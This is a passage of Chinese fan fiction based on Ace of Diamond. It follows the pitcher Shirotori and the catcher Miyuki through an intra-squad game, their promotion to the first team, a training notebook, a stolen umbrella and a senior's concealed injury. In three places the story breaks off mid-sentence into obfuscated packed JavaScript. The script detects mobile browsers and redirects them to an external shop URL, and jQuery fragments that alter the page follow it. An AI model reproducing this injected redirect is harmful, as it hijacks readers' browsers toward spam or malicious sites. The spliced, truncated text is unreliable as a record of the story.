训练场的土、风、人明明都和平常一样,可在比赛时却都染上了一层陌生的颜色,对面学长们投来的视线仿佛带着火,灼烧着他的身体。 白洲穿上防具,戴上打击手套,他拍了拍白鸟京的肩膀,拿上球棒平静地朝着打击区走去。 被拍过的肩膀传来麻麻的感觉,奇怪的情绪从那里窜上心头,和观看他人比赛时不同,即将上场的那一刻,白鸟的心似乎终于落到了实处,他对休息区中其他人投来的视线无所察觉,只是看着那极近又极远的地方。 金眸被那风景完全占据。 御幸看着白鸟的侧脸,那双眼睛正一眨不眨看着场内,风扬起少年的发丝,宛如鸟振翅时的飞羽。 啊,看来不需要担心了,白鸟完全没被场内压抑的气氛影响嘛。 川上拿上冰敷带穿上,喘息着坐在椅子上望着白鸟和御幸的背影。 先发的投手川岛坐在他身边,跟着看向白鸟,低声道:“真羡慕啊「天才」……他完全不紧张呢。” 川上默不作声,只在内心偷偷反驳了川岛的感叹,白鸟确实是天才,但他不紧张的原因绝对与其无关,他只是想上场投球而已,就像他现在完全不甘心就这么离开投手丘。 8棒是捕手御幸,所以做了一些休整后他便马上开始穿戴打者需要穿戴的护具,进入打击等候区等候。 此时二军的投手依旧是水谷拓海,对他而言和新生打比赛所消耗的体力并不多,完投也未必不可。 水谷在用脚拨投手丘上的土,将其踩的更平整些以便自己更好的发挥。 虽然对付新生不用花太多精力,但此时监督正在观察,他可不想一直在二军。想到刚刚广播的那个名字,他深吸了一口气。 真是对不起了小学弟们,为了让监督看见我的努力,你们在这里注定只能成为我的背景板。 我绝对不会让你们再打出去的!水谷凌厉地看向打击区的白州。 蹲捕的捕手激动地看着水谷:没错,就是这样水谷!拿出你的气势来! 因为水谷目中无人的性格,他投球时总会有点散漫,也是因此才会被监督下放二军,在捕手看来,只要水谷拿出气势和动力,回到一军并不成问题。 不看轻对手的水谷,绝对不是新生们能战胜的。 10. 展翅 “水谷状态不错嘛。”二军休息区的山崎双手交叉抱于胸前点评道。 槙原翻了个白眼:“他要是再状态不好就别回一军了。” 两人看着水谷投出这局的第4球三振了刚上场的白洲。 御幸与白洲交错而过时,白州将自己看见的尽数告诉了下一棒的御幸:“水谷前辈状态回升了,不过也因此捕手配球会更简单粗暴一点。” 御幸点点头走上打击区,他举起球棒先是笑着看了一眼本垒处的捕手,然后才将视线投向投手丘的投手。 最速140KM/S的球速,能成为中继投手是因为一手不错的滑球,身为右投的水谷前辈投出的滑球会往身为左打的他的外角变化。 不过以白洲的话来分析,捕手不一定会对他们配变化球,毕竟前面的打者只面对直球都被解决了。 御幸笑容更大了,他觉得前辈一定会对他投滑球的。 捕手抬眸看了御幸一眼,正瞅到他脸上嚣张的笑容,心中顿时有点不爽。 搞什么,分差这么大居然还能笑得出来。 他对着水谷比了个外角球的暗号,然后挪了下身体:这个打者前面都被Out了不用担心,安心投过来吧。 水谷点点头。 “Strike!”片冈监督右手握拳表示好球。 捕手皱眉又看了御幸一眼:又不是擦边好球,为什么不挥棒,甚至动都没动,他可不信挂着一脸嚣张笑容的家伙是因为紧张。 投手们关注着白鸟京,捕手们自然不会对御幸一也感到陌生,前面已经有一个天才克里斯做榜样,御幸这个天才捕手自然不会被看轻,更何况他红白赛上场后的表现已经清晰的表明他的天才桂冠绝对是真实的。 这是在等球? 水谷,别管他在等什么,这些小鬼打不出你的球的,下一球滑球,向监督表面你的决心吧。捕手拍了拍手套。 水谷意味不明地看了御幸一眼,抿唇坚定地握紧了棒球。 御幸睁大了眼睛,要来了吗?! 随着投手的手臂挥出,棒球如一道白光接近本垒板,快到本垒板时这道白光倏忽间向着打者外角拐去。 捕手看着这球有些兴奋地扬起嘴角,没错,就是这样! 正在捕手暗自点头觉得稳了的时候,一根球棒挡住了视线。 “呯!”一声清脆的击球声。 棒球在捕手愕然的视线中倒飞出去,他立刻起身掀开面罩大喊道:“中坚手!” “我来!”中坚手大喊一声,向着棒球的落点处跑去。 还好这球飞的不算太远,略微驱前守备的中坚手及时接住了棒球。 “Out!”片冈监督向叹着气的御幸投去一瞥,这是猜到了捕手的配球啊。 御幸拿着球棒有点无奈,水谷前辈的状态确实好啊,虽然他猜中了球,但是没打中球心直接被接杀了。 白鸟从等待区站起身与御幸错身而过。 “水谷前辈的状态正盛呢。” 白鸟无言地走进右打区,看向投手丘上抹汗的水谷拓海。状态正盛……吗? 他拿着球棒轻轻挥了挥,然后举了起来,身姿挺拔,气质平和,面无表情。 捕手看了一眼白鸟,和刚刚那个小子不一样,但是都一样看不透在想什么,真麻烦。 这里就来一球内角球吧。捕手移动手套,看着投手丘上的投手比了个暗号。 比起御幸,水谷对白鸟的感情更复杂,他想起那时看见的投球深吸一口气,不想认输,我可是前辈啊! 白鸟静静地看着水谷,看着他扔下防滑粉包,看着他握紧棒球抬高腿,投射在他身上的各种视线,因为灵敏的听力而总是不断接收到的细碎言语,尽数在心湖上消失,只剩下投手即将投出的那颗棒球。 也许是寄托了投手的信念,此球的速度更快了几分,白色球影快速逼近了本垒板。 “哦?这球不错啊。” “毕竟是一军选手嘛,这个水平很正常。” 忽然,白鸟动了。他一脚踏出,手中的球棒猛地挥出,带出一阵烈风扫过捕手,捕手目眦欲裂地望着那球棒准确击中棒球,发出一声清脆的巨响。 首球就挥棒?!还打中了?! 周围的话语声顿时一停,只剩下捕手的大喊回荡在球场中:“左外野手!” 外野手因为新生的打击率一直在驱前守备,此刻面对一记出人意料的精准左外野长打,完全来不及回防,只能眼睁睁看着棒球落在左外野深处,弹跳着滚向更深远的地方。 “左外野长打!” 仿佛被按下暂停键的球场,在棒球落地的一瞬间突然嘈杂起来。 ”那是谁来着,新上场的投手对吧!打击技术真好啊!” “对啊对啊!太酷了!” “首球就挥棒,还打出了左外野长打。水谷刚刚那球可没有失投,相反投的很好,结果就这么□□脆的打出去了啊……” 白鸟登上了二垒,在垒指新生惊讶、崇拜的目光下脱下防具,露出一个小小的笑容,酒窝在颊边若隐若现。 休息区的御幸扶着栏杆露出与有荣焉的表情,真不愧是他看上的投手。 如此,打线轮到了一棒,此时的一棒并不是仓持,仓持在第三局被轮换下场了,正在休息区一脸不甘地看着场内。 “喂,你这什么奇怪的表情,又不是你打出去的二垒长打。”仓持恶声恶气道。可恶,为什么不是他在场上,这是个多好的得分机会啊! 御幸用肩膀上的毛巾擦了擦脸颊的汗水,闻言耸了耸肩:“那怎么了,投捕一体,白鸟打出去就是我打出去,真是一记漂亮的长打啊。” 仓持嘴角抽了抽,真是无语极了,每次他都想不明白世界上怎么会有御幸一也这么脸皮厚的人。 可惜虽然水谷因为被白鸟打出去十分动摇,但捕手及时叫了暂停,安抚了投手,后续的一棒被警惕非常的防守们接杀出局,留下了一个二垒的残垒结束了这局。 白鸟走下场时,一棒小林正在临近休息区的地方等着他,两人交错而过时,他说了句抱歉,匆匆跑开了。 小林的背影有些沮丧。 白鸟看着小林的背影,曾经比赛时如果他打出安打后续棒次没有连接上导致没能得分,可并不会有人觉得抱歉。 他们只会因为这种对比而恼羞,或者觉得反正下次白鸟还会打出去的,下次也有机会,如果没有,那就是白鸟的问题了,作为天才怎么能不回应队友的期待呢? 不过他们也不是一开始就是这样的,白鸟将脑中的思绪打散,走进休息区。 仓持走过来拍了拍白鸟的肩膀:“打的漂亮!” 御幸已经穿好了捕手的护具:“刚刚有和小野君一起练投热身吧?” “当然。”白鸟拿毛巾把脸上的汗随意一抹,撸起刘海戴上棒球帽,拿起了自己的投手手套。 “监督居然让我们一起搭档,虽然是最后两局,多少是意料之外,情理之中了。那么就别辜负他的期待,让我们去大闹一场吧!”御幸笑得嚣张又开朗,举起拳头对着白鸟。 白鸟举拳对上,然后重重点头。 对面的休息区中,即将上场的二军学长们虎视眈眈地望着走上投手丘的白鸟京。 白鸟对此视若无睹,只是抬脚整理投手丘上的土。春日的阳光并不炙热,洒在人身上时如同被什么毛茸茸的小动物包裹,是一种柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674043|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软的温度。 让人感到滚烫的,是站在场地中央被视线裹挟的那种渺小又宏大的气势。 呼吸间,泥土的味道如此熟悉,伴随了他一年又一年。 他看向本垒板处的御幸,掩盖在面罩下的面容与目光都是那么亲切温暖。如此,站在这里的我将不再感到寂寞,因为你就在离我18米44的地方注视着我。 “哦哦,这就是刚刚那个打击很漂亮的投手吧,不知道投球实力怎么样啊?” “嗯,如果是双刀流就好了。” 观众们期待地看向白鸟京,二军选手们则早就知道这个学弟能够投出150KM/S的球为此做好了准备。 打者走上打击区执起球棒,很好,就让我先看看,火球投手投出的球究竟是什么样的吧,不过这家伙看上去也没什么肌肉啊,怎么投出那么快速的球的? 白鸟搓了搓手指上的防滑粉,深吸一口气握住棒球。 御幸拍了拍手套,笑着比出暗号:那些闲言碎语和怀疑的眼神很烦人对吧,让我们用那一球来震撼全场吧!全力投过来,我会接住的! 如果最开始就认识御幸就好了,白鸟情不自禁这么想着,但如此一来,他也不会是今天的他了。 雏鹰第一次张开翅膀体会到的不是飞翔的快乐,而是坠落的恐惧。大地与天空是磁极的两面,一面是生一面是死。 白鸟慢慢举起双手,那双鹰隼般锐利的金眼睛注视着御幸的手套。 该是飞翔的时候了。 红白赛落幕时,比分定格在1:17。 白鸟登场后直到比赛结束,面对他的打者皆被三振。 与机器发出的速球不同,人投出的球带着投手本身的生命力,那是投手意志的延伸,是完全不同的东西。 最后,御幸只在配球里塞了一个变化球,还是在最后一个打席的最后一球,用以结束了比赛,他几乎是炫耀性的告诉大家,和他搭档的投手是如何一个耀眼的存在。 他们二者的表现被所有人看在眼里,明明白白的令观看者知晓,1+1大于2是什么效果。 所以,之后的某天晚上,片冈监督宣布由哪些人进入一军的决策没有任何人有意见。 列队后,片冈监督扫视了一圈面前的队员们,他心中有点高兴又有点悲伤。 高兴的是对白鸟京、御幸一也这两个天才对于投手阵和捕手的加强,悲伤的是见过了这样的天赋,大概很多孩子内心都有被打击到,尤其是在二军呆了很久了孩子们。 他们坚信汗水能弥补天赋上的不足,可在这场比赛中,却□□脆利落地三振了。 片冈并不觉得他们不够好,如今的一军也有靠坚持不懈的努力登上大赛舞台的选手,比如结成他们。 天赋只是起点,成功离不开汗水的浇灌,可天赋过人之人就不努力吗?坚持不懈的精神难道就不算是一种天赋吗?说到底,天赋与努力的命题在体育运动方面展现的尤其残酷。 他沉默片刻开口道:“进入一军的是三年级水谷拓海、加藤太郎、田中晋,一年级白鸟京、御幸一也。” “一年级仓持洋一、川上宪史进入二军。” “要记住,努力不是为了超越别人,而是为了超越自己。”片冈监督意味深长道,但此刻能听进去这番话的,究竟有几个呢? 青道棒球部有写棒球日记的要求,片冈看着面前一张张尚且青涩的脸,想起前几天交给他的一本日记中的内容。 「“监督,那些没有天赋的人呢?他们的人生从一开始就被浪费了吗?”*」 *我明白了老师,不过那些没有天赋的人呢?他们的人生从一开始就被浪费了吗?(网络上流传的涂鸦壁画) 11. 笔记本 第二天的上学路上,提到进入一军。 “还挺意外的,监督居然让我也加入一军了。”御幸两手交叉放在脑后,说着说着打了个呵欠。 加入一军后最明显的变化的就是体能训练的增多,兴奋过后是合宿中昏天黑地的练习。 白鸟调整了一下包的背带:“我很开心。” “哈哈,”御幸放下手挥了挥,“别担心啊,无论在不在一军我都会陪你的。” 仓持在一边嘶了一声:“你俩自从红白赛后越来越黏糊了,这就是同级生投捕吗?我看克里斯前辈和丹波前辈也没一直黏在一起啊。” 白鸟:“是……” 话还没说完,御幸突然“哇”了一声,他指着教学楼的方向说道:“那是楠木前辈吗?真受欢迎啊。” 仓持和白鸟下意识往那看去,却并没有看见什么楠木前辈。 御幸突然小跑着向前,留下一串哈哈哈:“骗你们的哈哈哈哈哈……” “那个混蛋!”仓持咬牙拉住白鸟一起追了上去。 他们三个是一个班的,御幸是跑得了和尚跑不了庙,最后还是被仓持逮住踢了一脚。 坐在座位上后,白鸟下意识开始整理上课要用的东西,突兀在课桌肚摸到一个东西,他愣了一下,然后将其拿了出来。 是一盒酸奶。 白鸟确实喜欢喝酸奶,不过最近却并没有买,因为一军训练太忙了,每天上午光是应付困意就占据了大量时间,下课他一般都趴在桌上睡觉。 难道是之前买的忘记喝了?白鸟这么想着,又重新把酸奶放回了抽屉。 看见已经趴在桌上开始睡觉的御幸和仓持,白鸟也打了个呵欠,还是先补觉吧,早上的第一节课是数学,得养足精神才行啊,那两个上课也在睡的家伙,考试周肯定是靠不住的。 教室里嘈杂细碎的声音渐渐远去,白鸟将头埋在臂弯里,疲倦令他很快沉入梦乡。 上午的课没什么好说的,一般能排在上午的课程都是数学、国文之类的主修课。白鸟比起数学更喜欢国文,虽然那些富有文学素养的遣词造句他说不出来,但只是阅读的话他还是很喜欢的。 “哈——”御幸打了个大大的呵欠。 白鸟有些纳闷:“你怎么这么困,我们昨天结束训练之后你几点睡的?” 御幸坐在白鸟前面一个位置,抱着椅背,下巴搁在手臂上,懒洋洋地晃了下脑袋,佯作思考:“12点左右吧。没办法,我还没有习惯现在这个训练量,除了睡前完全没有别的时间研究对手啊。” “辛苦了。”捕手是真的辛苦啊,白鸟想起要圭,作为智将,为了研究、解决对手,也是写了许许多多的笔记。 我要怎么做才能支援捕手呢? 似乎是看出了白鸟在想什么,御幸摆摆手:“你只要好好训练,好好保护自己就行了。” 这句话好耳熟。 白鸟盯着御幸,眼神透露着一股执拗,看得御幸脑后滑下一滴汗。 他受不了般移开视线:“如果一起讨论,会打扰到要睡觉的学长们的。” 确实如此,白鸟有些失落。 “还有我能做到的事。”白鸟振奋精神,他掏出一个笔记递给御幸。 “什么?”御幸接过好奇地打开。 旁边的仓持也凑过来看,顺便吐槽:“你也太宠着他了吧,小心他蹬鼻子上脸哈。” 摊开在桌上的笔记上字迹工整清晰,笔锋锐利,一些铅笔画的简易示意图掺杂其中。 两人阅读,先是一惊而后快速沉浸进去。 “这是练习笔记?”仓持喃喃道。 “嗯。”白鸟指了下夹在笔记中的书签,那书签露在外面的部分是一个棒球样子的金属小球,夹在纸张中的是手套样式的图案和一只在打呵欠的简笔猫咪。 一看就是特意购买的特殊款式书签。 御幸没有注意,恋恋不舍地翻过前面记录的体能训练、饮食结构、投球姿势部分。 反而是仓持关注到了这微妙可爱的东西:“没想到你会喜欢这种可爱的东西啊,哪里买的?” 白鸟的脸颊微微泛红,男孩子买这种可爱精致的东西被问了多少有点不好意思:“是有一期夏甲时京都书店限定的款式。” “那家店养着一只可爱的三花猫,我小时候很喜欢去那里玩。” “京都啊……”说起京都,那些青山白鹭、枫林楼阁就自然而然出现在了脑海中。 仓持回过神问道:“白鸟不是东京人吗?” 白鸟摇摇头:“我老家在京都。因为父亲工作的原因才在东京上学,之前是东京、大阪、京都三个地方跑。” “所以是白鸟「京」吗?怎么说呢,和你挺搭的。”仓持调侃道。 白鸟眨眨眼。 那是纯粹到没有一丝杂色的金,像是神明或者妖怪才会拥有的宝物,纯白的发色宛如冬日飘落的第一片雪,也像天空中不染尘埃的云。 眸色发色都特殊到如果在京都沉静的森林里见到他,会轻易被人当作什么不是凡人的存在吧。 比起东京的前沿时尚,京都那种青砖黛瓦、幽静神秘的气氛才更适合他。 御幸没有说话,他分了半只耳朵听着,心神大部分都沉浸在了笔记里。 这个笔记记录的大部分都很规整,记录了白鸟训练的计划和一些观看视频从中获取的棒球知识技巧。 也有一小部分杂乱的内容,宛如笔者灵感乍现记录下的东西,灵气四溢。 这些较为细碎的内容里,一个名字的出场率极高——绫濑川次郎。这是谁? 御幸记忆中的棒球名人中并没有这个人,但他也不是所有打棒球的人都认识,因此不好轻易下定论。似乎也是个投手,是个光从这些零碎的记录中都能看出来的球商极高的投手。 以在投手丘上不同的站位来投球,让滑球的轨迹发生变化。这个小技巧御幸也知道,但是能否运用到实战上其实相当考验投手的控球,大部分高中生投手光是稳定把变化球都投进好球带都困难。 居然还有通过不同的手臂挥出姿势,不同的放球点,来调整球的速度和轨道?! 这究竟是异想天开,还是真的有人能做到这么离谱的事情?就算有,也太过伤害身体了,那是以缩短职业寿命换取的燃烧。 究竟是什么样的怪物啊……之后一定要和白鸟说说,不要去学习这个要命的方式。 御幸勉强将心神拉回书签的那页,然后微微睁大了眼睛:“快速指叉球和变速球?” 白鸟放在膝盖上的手指动了动:“是的,可以吗?” 那里详细写着快速指叉球和变速球的投法、图解、应用范围。 甚至记录了几个以快速指叉球和变速球闻名的投手,他们的球与普通的有着什么样的差别,造成这种差别的原因可能是什么,如果自己来投则应该注意什么。 御幸有些心动,新球种啊,好想接接看,但是……他忍痛拒绝了。 “不行啊,快速指叉球很伤手臂的,在高一的发育期没必要这么快就练这个球,变速球的话……” “你有去问问柴崎前辈吗?比起自己思考,向有经验的人学习更好吧。” 想也知道没有。白鸟可怜兮兮地看着御幸,以他那一团糟的和前辈相处的经验,他很怕会把事情搞砸。 变速球是柴崎前辈的招牌,他去请教怎么投变速球,难道不会被觉得是在挑衅吗? 而且柴崎前辈还是王牌,总觉得会历史重演啊。 御幸忽视那双让人忍不住心软的眼睛:“不是说要改变吗?就从这点开始吧,我会陪着你的,等进牛棚训练的时候,一起去问问看吧。” 白鸟只得点头答应,他犹豫了一下问道:“那个名字,御幸不问吗?” 他明白的,没有捕手知道有如此耀眼的投手能忍住不去了解,那是真正的,钻石中的钻石,有着锐利的切面,光是那炫目的光彩,就能轻易割伤注视着他的人。 “等你想说自然会告诉我的,毕竟我的搭档是你啊。”御幸重新将笔记翻回第一页仔细阅读,头也没抬地回道。 徒留白鸟红着耳廓,一副感动的表情盯着御幸的发顶。 仓持扶额,完了没救了。 “嗖!” “啪!” 牛棚训练时,白鸟依旧是和御幸搭档的,虽说到了一军,应该多和正捕手搭档培养默契,但是克里斯前辈真的很忙,每天早出晚归,白鸟也不好意思再去麻烦前辈。 于是练习时,还是御幸和增田前辈接他的球更多。增田前辈是一军的替补捕手,自御幸升上一军后他的位置就显得有些尴尬,重要比赛肯定是克里斯上,那些较弱的队伍又需要给御幸练手,他的上场机会无疑减少了很多。 御幸接着球,向白鸟递过去一个眼神。 “……”白鸟动作一顿,乖乖收起了投球的姿势站在原地。 御幸脱下面罩,走了过来。 “监督不在,现在正是个好机会呀。” 一般而言,片冈监督都会在牛棚监督选手的训练,并不是说他不在大家就会偷懒,而是因为监督作为一个曾经的投手,如果投捕训练有问题,他能及时发现纠正。 两人慢吞吞地走到柴崎与克里斯的那边,主要是白鸟在磨蹭。 “克里斯前辈,柴崎前辈。”御幸笑嘻嘻地问好。 克里斯摘下面罩走过来:“怎么了?” 柴崎握着球默默看着,他是个比白鸟还要沉默寡言的投手,不过因为喜怒哀乐都表现在脸上,其实还蛮好懂的。 御幸拍拍白鸟,白鸟深吸一口气心中默念:我能行、我能行! 他迈出一步,像是什么决斗前已经摒弃生死的武士般眼中冒出视死如归的光芒:“柴崎前辈,您的变速球投的很优秀,我想和您学习变速球,可以吗?” “!”柴崎瞪大了眼睛,被白鸟的眼睛里面的坚定吓了一跳,学个球而已,怎么好像面前的学弟已经走上了处刑台? 柴崎无奈又好笑地点头。 克里斯见状非常欣慰,柴崎前辈其实很单纯,他会警惕优秀的后辈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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更令他惊喜的是,白鸟学习新的变化球并不是心血来潮,而是有着自己的投球体系规划。 “柴崎前辈的变速球确实很优秀,不过变速球有很多种类,柴崎前辈会的是圈指变速球,你知道圈指变速球的特点吧?” 白鸟:“有速差的同时,也拥有小幅度的内向位移。” “没错,比起传统的变速球,他的速差会小一些,但是这种微小的横向位移不仅填补了这种不足,还让它的威慑力更上一层楼。”克里斯也拿出手套开始保养,他坐在白鸟对面,方便两人聊天。 白鸟对他这种体贴的作风十分熟悉,克里斯前辈真的是个很好的同居人,他的生活习惯很好,寝室里不会出现好几天不洗的臭袜子,也不会出现杂乱的物品,一切都是整整齐齐、干干净净的。 同时,他也不会端着前辈的架子吩咐白鸟干这干那,两人的宿舍生活非常平静,拥有着体贴的、令人舒适的边界感。 睡觉时也是,两人都不打呼磨牙,如果对方在睡觉,自己需要干点什么也会自觉放轻动作。 总之,宿舍生活比白鸟想的要好得多的多的多。 “如果你想要的是极致的速差,也许传统的变速球或者掌心球更符合你的要求,而传统的变速球,柴崎前辈也是会的。”克里斯给出了他的建议。 圈指变速球和传统变速球,柴崎前辈居然会两种变速球的投法。而掌心球……白鸟没想到克里斯前辈会提出这个选择。 确实,现在的他的掌宽已经达到了学习掌心球的标准。难学、有着特定要求也就意味着掌握它的人很稀少,稀少就代表着面对它的打者绝对很难适应。 身为不折不扣强度党的白鸟瞬间心动。 笔记是国中写的,那时他并未将掌心球放进选择中是因为还达不到学习要求,如今倒是可以了。 似是看出了白鸟的想法,克里斯轻笑一声:“不用着急,如果你想学习掌心球,那就最好完全放弃圈指变速球和传统变速球的学习,因为它和那两种变速球的发力方式是完全相反的。” 白鸟有些不好意思:“可我已经和柴崎前辈说了要和他学习。” 克里斯摇摇头:“柴崎前辈不会在意这个的,明天我会和他说明情况。” “不。”白鸟拒绝了,“明天我亲自和柴崎前辈说吧,到底是我先思虑不周。对不起克里斯前辈,我的突发奇想让你担心了。” 克里斯伸手摸了摸白鸟的头:“完全不会,你能自己思考想要学习的球种,让我很惊喜。” 因为心中暗藏愧疚,所以克里斯面对白鸟总觉得亏欠。肩膀原因,火球对他的负担还是太大了,他怕伤势前提暴露,所以在白鸟进入一军后很少和白鸟搭档,明明他这个正捕手应该尽快让新加入的投手适应一军,希望这不会让白鸟误会什么。 “其实也可以这样……”面对白鸟好奇的目光,克里斯神秘地笑笑。 *设定白鸟的变速球是掌心球,成宫鸣的变速球是叉指变速球,都是很难学+很难打的变速球,但一个更注重速差,一个更注重下坠 12. 伞 “啊,今天下雨啊……”白鸟端着洗漱用品站在屋檐下,他一手夹着盆,一手探进雨里。 雨滴落在手上最开始感受到的是什么东西砸落的麻,然后才是属于水的冰凉湿润。 “呦!白鸟。”御幸从隔壁寝室出门,一胳膊拐上白鸟的肩膀。 “早上好。”白鸟觉得每天早上都能进行如此平常的问好,是一件值得期待的好事。 “今天雨下的很大呢,监督大概会让我们做室内练习吧。”御幸靠着白鸟打了个呵欠。 “青道不愧是名门,学校里居然有两个室外球场和一个室内训练场。”白鸟任由御幸靠着,语气有些感叹。 因为下雨,早上的室外跑步加练自然是无法进行了,不过要做替代的话,也有不少选择。 因为室内练习场和青心寮离的很近,只有几步需要露天的地方,所以并不需要带伞。 说实话,白鸟还挺喜欢淋雨的,那种与自然紧密联系的感觉非常舒畅,感觉可以甩脱一切诞生在世上后附缀的东西。 仓持在室内练习场门口提高声音道:“白鸟你在雨里发什么呆呢,快进来啊!” “来了!”白鸟应和,抬脚追上同伴的身影。 从青心寮去教学楼的话距离就比较远了,他们正常时间是早上6点起床晨练,7:30吃早饭,上学时间是8:30开始到下午3:30结束。 因为是私立,所以有充足的棒球练习时间和训练设施,这也是为什么国中毕业后,希望继续棒球生涯的人会更倾向于私立的学校,和公立学校相比训练量与设施都是截然不同的。 白鸟收起雨伞,套上学校发的伞袋,将其放在了教学楼入口处的伞架上。 三人结伴走进教室。 照常收拾桌子的时候,白鸟的手摸进桌肚,又是一顿。 他拿出一盒酸奶。 昨天的酸奶他最后带走扔掉了,如果是之前放了忘记喝的,不在冰箱存放的话肯定是不能喝了,他没有挑战自己肠胃的想法。 可今天桌肚里又多了一盒,他自己又没有买,只能是别人放的了。 无论是品牌、口味、大小都是他常喝的那款。被一个不知名之人如此关注,如果是正常人,此刻就该感到汗毛直竖了吧。 可白鸟只是将其拿出来看了看,然后平静的塞回了桌肚里。 从小到大,这种事已经司空见惯了。比起害怕,反而是“又来了啊……”的嫌麻烦的情绪占了上风。 “酸奶?你什么时候买的?”御幸在一边犯困一边擦眼镜的间隙注意到了白鸟的动作。 对于白鸟爱喝酸奶,他和仓持都知道,因为仓持的宿舍有冰箱,之前一段时间白鸟还经常去他宿舍打扰来着。 他记得冰箱里的存货都被消灭光了,白鸟什么时候空出时间又去购买了? “之前忘记的吧,”白鸟不想让这种没有意义的事影响别人,“明天是和爱知县的西邦中学打练习赛吗?” 御幸有气无力地点头:“虽然不知道监督会不会派我们上场,我还是姑且把西邦最近的一场正赛记录看完了。” 白鸟拿出第一节课会用到的课本,修长的手指拂过书本的封面:“我记得西邦中学有个非常有名的打者。” “佐野修造,是个和咱们的东前辈一样的全垒打怪物呢。”御幸不知道想到了什么,嘻嘻嘻地笑了起来,立刻被仓持吐槽笑得好恶心。 因为明天就是休息日,今天放学得格外早,雨还在淅淅沥沥地下仍未停歇,笼罩着目及之处的世界。 这些水滴是天与地的连接。 虽然雨丝不大,但非常密,站在雨下的话不一会儿身上就会结满露珠。 白鸟站在教学楼门口的雨伞架旁,各式各样的雨伞接连被其主人领走,五颜六色的伞架逐渐失去了点缀的色彩,显露出和他一样的纯白。 “怎么了?”御幸换上室外鞋走出室内,他走近伞架拿走所剩无几的伞中的一个,那是一把藏蓝色的直柄伞。 白鸟沉默着,他也没想到这么离谱。 “我的伞不见了,可能是别人拿错了吧。”自从柴崎前辈的事情证明了他在庸人自扰后,他开始不愿意把人想得太坏。 御幸挑眉,真的假的。白鸟的伞一看就很贵,是一把白色的自动直柄伞,伞顶和伞柄上镶着金色的金属,一看就不是普通便利店买来的。 误拿走别人的,都不至于误拿走白鸟的。 “被偷了。”仓持转着自己的折叠伞一语定音。 白鸟叹气。 “明天和班主任联系一下吧,今天就先回去,来吧。”御幸打开伞,直柄伞比折叠伞的伞面大,他举了下伞示意白鸟。 三人走进雨里。 为了不被淋湿,两人离得很近,雨丝宛如纱帘,他们行走在天女的丝线里。 春季校服是一件薄薄的衬衫,偶尔一阵微风,沁凉的雨扑打在皮肤上,更显得贴近的地方烫的吓人。 不知道为什么,比起直接触碰,隔着一层布料,触感反而变得暧昧起来。 听见有人在说“相合伞”,他有些不自在地偷偷侧眸瞥了御幸一眼,他们个子差不多高,所以白鸟第一眼望见的是那因垂眸而显得格外长的睫毛。 剑眉星目,眉眼深邃。比起自己的脸,白鸟其实更欣赏御幸这样帅气的面孔。除开运动时间,御幸常戴着一副黑框眼镜,在下雨天其实挺不方便的,会被雨糊住镜片。 御幸的裸眼视力似乎是0.2左右,5米外就看不清东西了,所以眼镜在日常生活中是必需品,防风镜则是没有度数的,因为他会在练习和比赛时佩戴隐形眼镜。 怎么了?似乎是注视的时间太长,御幸递过来一个问询的眼神。 白鸟迅速摇头,看向前方。 感觉到视线移走,御幸偷偷松了口气,他藏在发丝下的耳朵有点泛红,怎么回事?为什么他会觉得这么热,果然还是距离太近,伞下的空间太小了吧! 都怪那些多嘴的说什么「相合伞」……白鸟耳朵很好,肯定也听见了。 两个180左右的男生同挤一把伞,怎么想都很离谱,他感觉自己半边肩膀已经湿了……想必白鸟也是一样。 御幸握着伞柄的手微微收紧,他想将伞往白鸟的方向倾斜,却才刚动了一下,就被握住了持伞的那只手的手腕。 白鸟突然走出伞下,头也没回,握着御幸的手腕开始奔跑。 雨、飞扬的衣角与手腕上另一个人的温度,奔跑的脚步踏碎了地上的天空与零落的花瓣。 御幸瞪大了眼睛,他的眼镜被雨糊的有点看不清路,却一点也不害怕地跟着跑了起来,雨丝扑在脸上身上,反而像是什么情绪的助燃剂,他哈哈大笑起来。 仓持一愣,大喊:“喂!你们发什么疯啊!”虽然说的很暴躁,可他也忍不住跟着笑了起来。 回到青心寮,三人先去洗了个澡换了个衣服防止感冒。 仓持拍着白鸟的肩膀大笑:“没想到你也有这么奔放的时候,哈哈哈哈!” 白鸟吹着头发,吹风机声音有些大,他也只好提高音量道:“偶尔来这么一次,感觉还挺不错的!” “没错没错,就该多这样,成天像个小老头怎么打热血棒球!”仓持呼噜了一把白鸟因为刚吹完吹风机暖洋洋的头发,发现手感很好,就又搓了一把。 等他们去室内练习场时,川上、前园、白洲他们已经在练习了,见到进来的仓持等人,就点了个头,算是打招呼。 东清国看见白鸟眼睛一亮,拿着球棒指着白鸟道:“总算来了啊,来!给我喂球!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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长久以来,受伤的事情令他无论是心里还是身体都在承受痛苦。他以为自己可以承受,可医生的话其实一直回荡在他的心中——“如果再不停止高强度运动,积极治疗,你肩膀的伤可能会更加严重,以后就再也打不了棒球了。” 再也无法打棒球,这对他而言是致命的预告。奈何球队的未来一直压在他的肩膀上,他无法放弃,无法停止。 克里斯看了看白鸟,又看了看御幸。 他们还太稚嫩,如何能把球队的未来强压在他们身上。 克里斯心中开始天人交战,若不是感觉要暴露了,他绝无可能在想如何给这件事善后。 柴崎站在他身边,沉默寡言不爱说话的他此时开口道:“克里斯,大家都有在努力想要变强,想进入甲子园是所有人的梦想,你还记得吗?你告诉过我的,棒球是九个人的运动。” 克里斯微微睁大眼睛,耳边的投球声、击球声、挥棒声与柴崎的话语交相辉映,使他的心裂开一道道缝隙。 